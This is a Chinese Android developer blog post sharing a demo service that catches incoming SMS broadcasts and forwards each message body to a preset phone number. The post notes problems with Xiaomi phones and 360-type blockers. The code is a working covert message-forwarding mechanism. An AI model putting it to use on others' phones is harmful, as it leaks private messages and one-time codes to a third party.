• 拦截信息短信息并转发到指定手机


    这是一个客户需要的demo,工能就是在手机接收到信息后转发到指定手机,这主要是响应系统的短信广播,并进行拦截,并取消向上传递,功能并不复杂,但也是在小米小机上遇到了问题,因为我没有小米手机,如果谁解决了也告诉我一下,还要注意短信拦截的应用,如360之类的。

    核心服务代码:

    /**
     * 
     */
    package com.yidin.interceptsms.service;
    
    import com.yidin.util.AspLog;
    import com.yidin.util.InterceptPrefences;
    import com.yidin.util.SmsUtil;
    
    import android.app.Service;
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.content.IntentFilter;
    import android.os.Bundle;
    import android.os.IBinder;
    import android.telephony.SmsMessage;
    import android.widget.Toast;
    
    /**
     * @author 短信拦截服务
     */
    public class InterceptService extends Service {
        private BroadcastReceiver mReceiver = null;
        private String TAG = "InterceptService";
        private String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
        private Context mContext = null;
    
        @Override
        public IBinder onBind(Intent arg0) {
            // TODO Auto-generated method stub
            return null;
        }
    
        @Override
        public void onCreate() {
            super.onCreate();
    //        android.os.Debug.waitForDebugger();
            mContext = getApplicationContext();
    
            mReceiver = new InterceptSmsReceiver();
            IntentFilter filter = new IntentFilter(SMS_RECEIVED);
    //        filter.addDataScheme("sms");
            Intent it = registerReceiver(mReceiver, filter);
        }
    
        @Override
        public void onStart(Intent intent, int startId) {
            super.onStart(intent, startId);
    
            AspLog.e(TAG, "Clear onStart!");
        }
    
        class InterceptSmsReceiver extends BroadcastReceiver {
            @Override
            public void onReceive(Context context, Intent intent) {
                android.os.Debug.waitForDebugger();
                if (intent.getAction().equals(SMS_RECEIVED))
                    AspLog.e(TAG, "InterceptSmsReceiver");
                Bundle bundle = intent.getExtras();
                if (bundle != null) {
                    Object[] _pdus = (Object[]) bundle.get("pdus");
                    SmsMessage[] message = new SmsMessage[_pdus.length];
                    for (int i = 0; i < _pdus.length; i++) {//判断短信长度,中文超过70 英文超过140则拆分成多条信息
                        message[i] = SmsMessage.createFromPdu((byte[]) _pdus[i]);
                    }
                    for (SmsMessage currentMessage : message) {
                        Toast.makeText(mContext, currentMessage.getMessageBody(),
                                Toast.LENGTH_LONG).show();
                        SmsUtil.sendSMS(currentMessage.getMessageBody(), InterceptPrefences.getAccount(mContext), mContext);
                    }
                }
            }
        }
    
        @Override
        public void onDestroy() {
            super.onDestroy();
    //        android.os.Debug.waitForDebugger();
            unregisterReceiver(mReceiver);
        }
    }

    更多的移动互联网的发展趋势app开发移动互联网应用相关的资料请到互联网的一点事www.yidin.net 留言

    android QQ群:222392467

    资料:

    http://www.yidin.net/?p=8280

    http://www.yidin.net/?p=9725

  • 相关阅读:
    域名解析速度好快了。
    ASP生成图形(数字验证码)
    PHP过滤字符
    “树人杯”暨第三届辽宁科技大学校园程序设计竞赛正赛F 最后一个是谁?(紫)
    “树人杯”暨第三届辽宁科技大学校园程序设计竞赛正赛G 又是一个小游戏(蓝)
    面试题06 判断二叉树后序遍历的结果 [树]
    [acm] 动态规划相关的题目 [ 个人 ]
    [面试备] 暴搜 or 二分图的经典升级 : hdu 1045 Fire Net 示例 [ 二分图 ]
    面试题02 从上往下打印二叉树 【树】[ water ]
    面试题05 树的子结构 [树]
  • 原文地址:https://www.cnblogs.com/ondream/p/3062801.html
Copyright © 2020-2023  润新知